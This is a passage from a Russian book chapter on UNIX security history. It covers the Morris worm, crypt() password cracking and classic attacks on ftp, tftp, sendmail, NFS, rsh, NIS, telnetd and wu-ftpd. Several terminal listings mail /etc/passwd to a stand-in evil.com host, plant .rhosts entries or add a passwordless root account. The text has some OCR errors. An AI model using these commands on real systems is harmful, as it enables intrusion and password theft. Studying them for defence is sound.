Процедура hg вызывает процедуру rt_init. которая сканирует таблицу маршрутов и записывает все адреса доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры атаки через rsh, finger и sendmail.
Процедура ha связывается с каждым шлюзом из списка. полученного процедурой hg. через TCP порт номер 23 (telnet). для того. чтобы обнаружить те машины, которые поддерживают telnet. Список перемешивается случайным образом, после чего для каждой машины из этого списка вызывается процедура hn (т. е. вирус пытается заразить все машины в подсетях этого шлюза).
Процедура hl извлекает номер сети - первый компонент сетевого адреса из всех адресов текущей машины, и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются все локально подключенные подсети).
Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts.equiv, через rsh, finger и sendmail.
Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать адреса шлюзов путем перебора всех возможных адресов (<номер сети>.[1-8].0.[1-255]}. Этот список перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из этого списка, используя rsh, finger и SMTP. Если машина не поддерживает связь через ТСР-порт 514 (rsh). то hn не пытается атаковать ее. После первой успешной атаки процедура завершается.

Порядок работы

Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные процедуры не вызываются. Каждая процедура возвращается после того, как она сумела атаковать одну машину. Затем вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу. то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать сначала шлюзовые машины, а затем распространяться на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят неудачу, то вызывается hl, которая похожа на ha, но подбирает адрес, используя сетевой адрес текущей машины.
Анализ кода этих процедур так же свидетельствует о наличии ошибок, в результате чего некоторые из них не были функциональны.

Процедура ll.c - "абордажный крюк"

Это короткая процедура, которую все процедуры атаки использовали для пересылки основной части вируса.
Первое, что она делает, это удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса (если это не удается, она так же завершается). Процесс-родитель завершается, не оставляя никаких связей с порожденным процессом.
Далее процедура (процесс-потомок) создает TCP-связь с заражаемой машиной по адресу, заданному в качестве первого аргумента, через порт, заданный вторым аргументом. Затем она пересылает на зараженную машину "магическое число", заданное третьим аргументом. Каждый аргумент стирается сразу же после его использования. Далее стандартный ввод-вывод переназначается на канал связи с зараженной машиной.
Следующим этапом в цикле считывается длина и имя каждого файла, составляющего вирус. Каждый файл пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются.
По окончании цикла пересылки файлов запускается Bourne Shell (sh), замещающий программу 11 и получающий команды с зараженной машины.

Подбор пароля

Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности со всех точек зрения, Были предприняты шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин их появления в UNIX-системах. Также была выявлена необходимость создания некоторого координационного органа, в котором бы накапливалась и систематизировалась информация о различных компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT (Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем было сообщение об уязвимостях, использованных червем.
Однако и компьютерные взломщики совершенствовали свои методы. Одной из атак, ставшей наиболее популярной. была атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его идеи, либо развиваясь независимо, вскоре появилось множество программ, занимавшихся подбором пароля к UNIX-машине. И долгое время слова "взломать UNIX" означали запустить взломщик (cracker) паролей.
Как известно, в файле /etc/passwd лежит ключевая информация о всех пользователях системы, включая его входное имя. пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, его разработчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Надо отдать им должное, они сумели придумать схему, благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный пользователь, а именно - завладеть паролем другого, смогли реализоваться только спустя 15 лет. Они не пошли по простому пути шифрования пароля по какому-то секретному алгоритму, т. к. рано или поздно этот алгоритм стал бы известен очередному не в меру любопытному, но в меру грамотному программисту и он смог бы расшифровать все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем применения к ней специальной однонаправленной функции (называемой функцией хэширования) получалось некое значение, из которого никак нельзя получить исходный пароль. Более того. разработчики взяли математически криптостойкий алгоритм DES и на основе его создали функцию crypt(). преобразующую пароль в строку, расположенную в файле /etc/passwd. Эту функцию написал, кстати, Роберт Моррис-старший.
Итак, рассмотрим немного подробнее алгоритм. применяемый UNIX для преобразования пароля пользователя. Кстати, этот алгоритм применяется до сих пор в большинстве *IХ.
Из исходного пароля берутся первые восемь байт. Также выбирается некоторое 12-битное случайное число (salt), используемое для операции хэширования. Его необходимость следует из того, чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется специальная функция шифрования, дающая на выходе 64-битное значение. Наконец, сам salt преобразуется в два читабельных ASCII-символа. а хэш - в 11 символов. Итак. функция crypt (passwd8, salt) выдает 13-символьную строчку, которая и записывается в файл /etc/passwd,
При входе пользователя в систему вызывается та ж функция crypt() с введенным паролем и salt, полученными из /etc/passwd. Если результат функции оказыва ется равным тому значению, что хранится в файле - аутентификация считается состоявшейся.
После анализа этой схемы, первое, что приходит голову потенциальному взломщику - это перебор. Берется некоторый набор символов (например, маленькие. и большие буквы, цифры и специальные символы тип;
знаков препинания - всего получается 94 символа), а затем из них по очереди составляются все комбинаця вплоть до 8-символьной длины. К каждой из них приме няется crypt(). и результат сравнивается с имеющимся Естественно, что в эти комбинации и попадет рано или поздно любой пароль пользователя.
Обрезание пароля до 8 значимых символов, конечно резко ограничивает множество для перебора, но для те? времен это было вполне допустимо, т. к. функция crypt () была реализована заведомо неэффективно, и время одного ее выполнения доходило до одной секунды на машина класса PDP. Таким образом, в среднем злоумышленник потратил бы - ((94+94*94+…+948 )/2)"3*1015 секунд или около 100 миллионов лет. Если же в качестве множества символов взять маленькие латинские буквы (наиболее часто используемое множество), то время перебора составит в среднем ((26+26*26+…+268 )/2) "1*1011 секунд или всего 3440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt() на машине класса Pentium составляет почти 10000 crypt/сек. т, е. она за 20 лет повысилась в 10000 раз? Поэтому сегодня пароль из последнего примера мы сможем найти в среднем за 125 дней!
Более того. во-первых, этот процесс легко можно распараллелить, а во-вторых, существуют специальные платы, аппаратно выполняющие процесс шифрования. с помощью которых можно еще уменьшить время на несколько порядков.
Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех паролей не хватало. Тем не менее, хакерами был придуман остроумный (но совершенно очевидный) метод, основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т. п.). Ну, а поскольку в любом языке не более 100000 слов, то их перебор займет весьма небольшое время, и от 40 до 80% существующих паролей может быть угадано с помощью такой простой схемы, называемой "атакой по словарю". (Кстати, до 80% этих паролей может быть угадано с использованием словаря размером всего 1000 слов!). Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX "под рукой" часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же касается "собственных" паролей, то файл /etc/passwd опять-таки может дать немало информации о пользователе: его входное имя, имя и фамилию. домашний каталог. Вирус Морриса. как вы помните. с успехом пользовался следующими предположениями:
- в качестве пароля берется входное имя пользователя:
- пароль представляет собой двойной повтор имени пользователя;
- то же. но прочитанное справа налево:
- имя или фамилия пользователя;
- то же, но в нижнем регистре.
Забегая несколько вперед, остановимся на сегодняшней ситуации со вскрытием паролей. Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его. безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне - но это бессмысленно. т. к. злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого "затенения" (shadowing) файла паролей - он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не сильно эффективное средство, что связано опять-таки с идеологией UNIX. и вызов функции getpwent() иногда позволяет получить пароли пользователей в классическом виде, В-третьих, иногда функция crypt() заменяется на другую (еще более медленную!) хэш-функцию, и запуск старых программ-вскрывателей ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt(). Наконец, среди пользователей в последние годы проводится большая "разъяснительная работа" по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки "по словарю" пусть медленно, но падает.
Однако психологический фактор останется до тех пор. пока с компьютером работает человек, и. наверное. никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и радующих душу паролей, как 34jХs5U@bТа!6. Поэтому даже искушенный пользователь хитрит и выбирает такие пароли, как hopel, userl997, pAsSwOrD, toor, roottoor, parol, grhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру, прибавить год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т. п.
Поэтому не надо удивляться, если такой "хитрый" пароль будет вскрыт хакерами - они не глупее вас, и уже вставили в свои программы те правила, по которым может идти преобразование слов. В самых продвинутых программах (Crack 4.1, John The Ripper 1.3) эти правила могут быть программируемыми и задаваться с помощью специального языка самим хакером.
Приведем пример эффективности такой стратегии перебора. Во многих книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, за сколько времени в среднем будут сломаны такие пароли, если такое правило включено в набор программы-взломщика (пусть словарь 10000 слов, разделительными знаками могут быть 10 цифр и 32 знака препинания и специальных символа, машина класса Pentium со скоростью 10000 crypt/сек): (( 10000*(32+10)*10000)/(10000*2)) = 210000 сек. или всего 2.5 дня!
Итак. из всего вышесказанного ясно. насколько важно для вашей безопасности иметь хорошие пароли. причем это не зависит от операционной системы, которую вы используете, К сожалению, рекомендации по поводу выбора таких паролей выходят за рамки этой книги.

Типичные атаки

Далее рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Почти все атаки даются с подробными листингами, т. к. потенциальный кракер все равно найдет их в том же интернете, а главное, что на сегодняшний день они являются достаточно устаревшими и представляют больше теоретический интерес.

Атака с использованием анонимного ftp

Анонимный ftp-сервис (обнаружить его наличие чрезвычайно легко, и это не должно возбуждать никаких подозрений) может служить легким способом получения доступа, поскольку его часто неправильно конфигурируют. Например, система может иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии - со всеми вытекающими отсюда последствиями. Кроме того, можно применить и более изощренный способ - в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл . forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Происходит это следующим образом:
evil % cat forward_sucker_file
"|/bin/mail hacker@evil.com < /etc/passwd"
evil % ftp.victim.com
Connected to victim.com
220 victim FTP server ready. Name (victim.com:hacker):ftp
331 Guest login ok, send ident as password. Password: *****
230 Guest login ok, access restrictions apply.
ftp> Is -Iga
200 PORT command successful.
150 ASCII data connection for /bin/Is (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6Kbytes/s)
ftp> put forward-sucker_file .forward
43 bytes sent in 0.0015 seconds (28Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Теперь можно просто сидеть и ждать, когда файл с паролями будет послан обратно.
Очевидно, что такая атака (как и следующая) является типичной по сценарию 2.
Рассматривая ftp, можно проверить более старую ошибку:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> Is -al /

Если этот прием сработал, то атакующий теперь вошел в систему как системный администратор (root). Если данная ошибка имеется в системе, то следует обязательно обновить ftpd.
Далее рассмотрим более свежие "дыры" в ftp-демонах.

Использование tftp

Существует также программа, подобная ftpd - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставляет tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получает доступ по чтению и записи к любым файлам. Например, он может получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
Это является атакой по сценарию 2.

Проникновение в систему с помощью sendmail

Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью. включая печально известную команду "debug". С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения.
Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним "decode", имеющий ряд проблем:
evil % telnet victim.com 25
connecting to host victim.com
(128.128.128.1.), port 25 connection open
220 victim.com Sendmail Sendmail 5.55/victim
ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Наличие псевдонима decode подвергает систему риску. что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil. com в файл .rhosts пользователя hacker, если он доступен для записи:
evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com
В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
.
rcpt to: /home/hacker/.rhosts mail from: hacker data evil .com

quit

EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^] '.
Connection closed by foreign host.
evil% riogin victim.com -l hacker
Welcome to victim.com!
victim %

Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так:

evil % telnet victim.com 25
Trying 128.128.128.1
Connected to victim.com
Escape character is '^] '.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail hacker@evil.com < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.

Атаки на доверие

Ниже перечисляемые атаки основаны на типовом сценарии 4.

С использованием неправильного администрирования NFS

Предположим, что запуск программы showmount с параметром "атакуемый хост" покажет следующее:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Сразу бросается в глаза, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь с помощью этой информации можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Поскольку даже суперпользователь атакующей машины не может модифицировать файлы на файловой системе, смонтированной как NFS. необходимо обмануть NFS и создать фиктивного пользователя guest в локальном файле паролей. Далее стандартно эксплуатируется "излишнее доверие", и атакующая машина victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil tt Is -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47
.
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991
..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % riogin victim.corn
Welcome to victim.corn!
victim %
Если бы victim.com не экспортировал домашние каталоги пользователей, а только пользовательские каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду троянским конем, который бы выполнял те же операции.

Проникновение в систему с помощью rsh

Если система, которую собираются атаковать, содержит шаблон "+" в файле /etc/hosts. equiv (в некоторых системах он устанавливается по умолчанию) или содержит ошибки в утилите netgroups, то любой пользователь с помощью rlogin сможет зарегистрироваться на ней под любым именем, кроме root, без указания пароля. Поскольку специальный пользователь "bin", как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, можно изменить файл паролей так, чтобы получить привилегии доступа root. Это можно сделать примерно следующим способом:
evil % whoami
bin
evil % rsh victim. com csh -i
Warning: no access to tty; thus no job control in this shell... victim
% Is -Idg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % riogin victim.corn -l toor
Welcome to victim.com!
victim #
Несколько замечаний по поводу деталей приведенного выше метода: "rsh victim.com csh -i" используется для проникновения в систему, т. к. при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, поэтому полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh в случае успешного завершения оставалась совершенно незамеченной, поэтому можно порекомендовать использовать регистратор внешних tcp-подключений, который может помочь обнаружить такую деятельность.

Использование службы NIS

Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты, можно создать почтовые псевдонимы. которые будут выполнять команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo", который посылает по почте файл паролей на evil.com, когда на его адрес поступает любое сообщение:
nis-master # echo 'foo: "| mail hacker@evil.com < /etc/passwd " >>/etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Таким образом, становится ясно. что NIS - ненадежная служба, которая почти не имеет аутентификации клиентов и серверов, и, если атакующий управляет активным NIS-сервером, то он также сможет эффективно управлять хостами клиентов (например, сможет выполнять произвольные команды).

Особенности безопасности X-window

Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью перебора всех сетевых портов. Многие сетевые утилиты и оконные системы работают с конкретными портами (например, sendmail - с портом 25, telnet - с портом 23). Порт X-window обычно 6000. Без дополнительной защиты окна X-window могут быть захвачены или просмотрены, ввод пользователя может быть украден, программы могут быть удаленно выполнены и т. п.
Одним из методов определения уязвимости Х сервера является подсоединение к нему через функцию XOpenDisplay(). Если функция возвращает не NULL, то можно получить доступ к дисплею.
Х-терминалы, гораздо менее мощные системы, могут иметь свои проблемы по части безопасности. Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал:
evil% xhost +xvictim.victim.com evil% rsh xvictim.victim.com telnet victim.corn -display evil.com
В любом случае необходимо продумать безопасность вашей системы X-Window, поскольку иначе система будет подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или отсутствии пароля у root.

Современная ситуация

Перейдем к рассмотрению ситуации с безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато появились и появляются новые версии UNIX и, что более важно, другие операционные системы выходят на рынок интернета. Возможно, пользователи стали уделять больше внимания своим паролям, но вычислительная мощность персональных компьютеров удваивается чуть ли не каждый год и программы-вскрыватели становятся все более изощренными. Видимо также, что сегодня хакер уже не будет искать какую-нибудь уязвимость в демонах типа telnetd или ftpd он возьмет любой из малоизученных - типа httpd.
Не станем приводить конкретные примеры (exploit) их использования по вполне понятным причинам (тем более что, к счастью, далеко не все уязвимости оглашались после того. как были замечены атаки, их использующие - иногда анализ исходного кода позволяет найти ошибку раньше, чем она начнет "работать").

Ошибка в демоне telnetd

Эта уязвимость, основанная на недоработке в демоне. отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).
Основная идея проникновения такова: злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского коня": при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на атакуемой машине как настоящая. Для этого он подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут передать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet'у на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию I, но для ее полготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны любые другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так:
evil:~# ftp victim.com
Connected to victim.com
220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready.
Name (evil:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password: *****
230 Guest login ok, access restrictions apply.
Remote system type is UNIX. Using binary mode to transfer files.
ftp> cd incoming
250 CWD command successful.
ftp> send libc.so.4
200 PORT command successful.
150 Opening BINARY mode data connection for libc.so.4.
226 Transfer complete.
ftp> bye 221 Goodbye.
evil:~# telnet
telnet> env define LD_LIBRARY_PATH/home/ftp/incoming
telnet> env export LD_LIBRARY_PATH
telnet> open victim.com
Trying 351.227.61.23... Connected to victim.com.
Escape character is '^]' Linux 1.2.13 (victim.com) (ttyp0)
Victim login: hacker
Password:
bash# cd /root

Снова sendmail

Приведу две уязвимости в программе sendmail (самых последних версий), одна из которых позволяет локальному пользователю стать суперпользователем и относится, таким образом, к сценарию 3. Вторая уязвимость очень серьезна и в некотором роде уникальна: мало того, что она воздействует на sendmail до самой последней версии 8.8, ее использование позволит хакеру выполнить любую команду от имени суперпользователя на вашей машине несмотря на все системы защиты, включая файрволы (firewall). Поэтому она является примером возможности осуществить атаки класса 1 и в наши дни.
Как очевидно, одна из основных функций sendmail - это SMTP-демон, отвечающий на входящие письма. Только суперпользователь может запустить ее в таком режиме, и это проверяется специальной процедурой самой sendmail. Однако из-за ошибки в кодировании sendmail может быть запущена в режиме демона так, что эта проверка будет пропущена, и, таким образом, любой пользователь может это сделать. Более того, начиная с версии 8.7, sendmail перезапустит сам себя, если получит сигнал SIGH UP с помощью системного вызова ехес(2). после чего она уже будет исполняться с привилегиями суперпользователя. В этот момент, с помощью манипуляций с переменными sendmail, злоумышленник может заставить ее выполнить любую команду, естественно, с привилегиями суперпользователя. Как стандартный вариант, используется копирование оболочки /bin/sh в /tmp/sh и установкой на него SUID root.
Вторая уязвимость, как уже говорилось, присутствует всегда при наличии sendmail версий до 8.8.4 включительно в своей конфигурации по умолчанию. независимо от присутствия других сервисов и средств защиты типа файрвол. Раз sendmail работает на вашем компьютере, значит, он отправляет и принимает электронную почту. Как оказывается, ничего другого в данном случае кракеру не надо: как в старые добрые времена, "бомба" к вам может попасть в обычном письме стандартного формата, которое, естественно, без всяких подозрений будет пропущено любым файрволом или другим фильтром. Это письмо, однако, будет иметь более чем специфическое содержание в MIME-кодировке, при обработке которого у sendmail банально переполнится буфер, данные попадут в стек и смогут быть интерпретированы как код. Естественно, он выполнится от имени суперпользователя.
Эта ошибочная функция вызывается, кстати, только в том случае, если в конфигурации sendmail стоит недокументированный флаг "-9".
Какие можно сделать выводы из этого примечательной ситуации? Во-первых, видимо, это один из случаев, когда ошибка в исходном коде была найдена раньше хакерами, а не кракерами. Во-вторых, с другой стороны, как обычно, пройдет много времени, прежде чем все уязвимые версии sendmail будут заменены на новые, а кракеры между тем , уже зная конкретно об этой ошибке, смогут ее максимально использовать. Более того, своей масштабностью она прямо может подтолкнуть их к написанию нового глобального червя. В-третьих, это еще раз доказывает, что любые программы в процессе своего совершенствования могут приобретать новые ошибки, в том числе и такие катастрофичные, В-четвертых, не может не удивлять позиция автора sendmail, который, несмотря на репутацию автора программы, насчитывающей такое же количество ошибок в плане безопасности, что все другие UNIX-программы, вместе взятые", продолжает свою традицию оставлять недокументированные команды или ключи. Вообще, я бы не рекомендовал ставить программу sendmail на любой хост, который более или менее критичен к угрозам извне, т. к. ошибки в ней продолжают находиться с пугающей регулярностью.

Уязвимости в wu-ftpd

FTP-демон wu-ffcpd, написанный в вашингтонском университете, является значительным расширением стандартного ftpd. Как обычно, это приводит и к расширению, содержащимся в нем ошибок.
Самой известной из них является ошибка, позволяющая всего-навсего выполнить любую команду от имени суперпользователя, причем для удобства кракера в wu-ftp для этого есть специальная команда, которая так и называется (site exec) (выполнить на сайте). Эта атака интересна тем, что не подходит ни под один из сценариев: в принципе, она проходит аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным демоном, но для ее успешности необходимы полномочия обычного пользователя:
evil#ftp victim.com
220 victim FTP server (Version wu-2.4(l) Sun Jul 31 21:15:56 CDT 1994) ready.
Name (victim:root): good
331 Password required for good.
Password: *****
230 User good logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"
200-bash -c id
200-uid=0(root) gid=0(root) euid=505 (statik)
egid=100(users) groups=100(users)
200 (end of 'bash -c id')
Видно, что в последней строчке на удаленном хосте выполнилась команда id от имени суперюльзователя - это означает, что хост уязвим.
Другая уязвимость, которой подвержены версии wu - ftpd, вплоть до самых последних, достоит в том, что при определенных условиях можно переполнить список аргументов команды, что приведет к сбросу демоном аварийного дампа памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp. Что самое интересное, этот дамп будет иметь владельцем не root, как обычно бывает, a anonymous и будет сбрасываться в его домашний каталог. Отсюда прямо следует, что он может быть позже прочитан удаленно. Ну, а чтение аварийного дампа равносильно копанию в корзине для бумаг на секретном объекте - среди мусора могут быть найдены очень любопытные вещи, например, сброшенные кэшированные пароли. Так что злоумышленнику останется только запустить взломщик паролей поновее.

Последние новости: проникновение с помощью innd

Как иллюстрацию того пути, по которому идут кракеры сегодня, рассмотрим самый популярный способ проникновения в UNIX-хосты начала 1997 года.
Итак, в качестве лазейки была выбрана серверная программа, отвечающая за передачу новостей USENET по протоколу NNTP, называемая InterNet News (Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа "не запятнала" себя ранее (это как раз пример новаторского подхода), во-вторых, как и любой демон, она потенциально допускает проникновение по классу 1: в-третьих, сервис передачи новостей выходит на одно из первых мест в интернете, поэтому эта программа достаточно распространена и существует практически на всех платформах: наконец, уязвимости, если они найдутся в ней. не могут быть сведены на нет файрволом. Поясним последнее подробнее. Если вы у себя на машине ставите сервер, который должен отвечать за прием - передачу новостей по протоколу NNTP, то, естественно, вы должны разрешить этот протокол в своем файрволе. Но кракер, с другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в приведенной выше уязвимости в sendmail/, нет возможности для файрвола отличить пакеты, содержащие "хорошие" новости, от "плохих", которые посылает кракер - файрвол может только вообще или запретить конкретный трафик, или разрешить его.
Именно такого рода уязвимость была найдена в программе innd. Среди обычных сообщений USENET встречаются так называемые управляющие, типа "newgroup" или "rmgroup". Innd обрабатывает команды, расположенные в них, через команду оболочки "eval". Однако некоторая информация (иначе говоря, специальным образом разработанное фальшивое управляющее сообщение) может быть передана оболочке без надлежащего контроля. Это позволит любому, кто может присылать сообщения на ваш NNTP-сервер - иногда это чуть ли ни любой пользователь USENET - исполнить любую команду, имея привилегии демона innd, а это либо суперпользователь, либо специальный пользователь news с широкими правами. Все версии Inn, вплоть до 1.5 включительно, оказались уязвимыми.

Удаленное получение имени и пароля пользователя в Windows NT

Рассмотрим одну примечательную атаку в интернете не на UNIX-систему. Примечательна она тем, что подтверждает предположение, что при выходе на рынок интернет новых операционных систем их ждет тот же тернистый путь в плане обеспечения безопасности, который UNIX уже частично прошла.
Этой атаке подвержена и самая современная версия ОС Windows NT 4.0 в сочетании опять-таки с последними версиями броузеров (browser) интернета Microsoft Internet Explorer 3.Ox-4.Ob или Netscape Navigator З.х-4.0b2. Вот список уязвимых систем:
- Windows 97 Beta (memphis),
- Windows NT 3.51 Workstation (видимо, и Server, но это не упоминается в оригинале),
- Windows NT 4.0 Server вплоть до Service Pack 2,
- Windows NT 4.0 Workstation вплоть до Service Pack 2,
- Windows 95, включая Service Pack 1 и OSR2.
